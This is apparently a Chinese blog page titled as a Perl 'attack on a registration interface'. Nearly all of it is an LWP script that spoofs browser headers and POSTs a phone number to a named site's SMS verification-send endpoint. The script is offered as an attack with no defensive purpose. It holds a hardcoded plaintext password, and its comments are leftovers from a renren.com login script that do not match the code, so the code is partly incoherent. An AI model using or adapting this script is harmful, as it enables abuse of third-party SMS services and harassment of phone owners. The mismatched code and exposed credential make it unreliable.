perl 攻击注册接口

perl 攻击注册接口_第1张图片

#!/usr/bin/perl
# Copyright 2014 tkorays. All rights reserved.
# author tkorays
# email [email protected]
use LWP;
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;
use HTTP::Response;
use Encode;
use URI::Escape;
use URI::URL;
 
my $email = '[email protected]';
my $password = 'zy806355';
my $domain = 'renren.com';
my $hostid='';
my $requestToken='';
my $rtk='';
my $channel='renren';
 
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0");
my $cookie_jar = HTTP::Cookies->new(
    file=>'lwp_cookies.txt',
    autosave=>1,
    ignore_discard=>1);
$ua->cookie_jar($cookie_jar);
my @heads=('User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0',
           'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
           'Accept-Language' => 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
           'Connection'=>'Keep-Alive',
           'Referer' =>'http://licai.yingyinglicai.com/user/register.htm',
           ); 
my $login_url = 'http://licai.yingyinglicai.com/user/smsVerifySend.do';
 
# 这里面没有判断是否需要验证码,聪明的你学完后肯定知道怎么搞定的
# 人人是post登陆的,第一个参数是登陆的地址,第二个参数是一个匿名hash
my $r = $ua->post($login_url,{
        'mobile'=>'180727xx37'}
);
my $homepage; 
# 判断响应头里面的location,确定是否登陆成功   
print "---------------\n";
print "---------------\n";
print "\$r->header('Location')\n";
print $r->header('Location');
print "---------------\n";
 #  $homepage = $ua->get('http://my.csdn.net/?ref=toolbar'); 
You have mail in /var/spool/mail/root


你可能感兴趣的:(perl 攻击注册接口)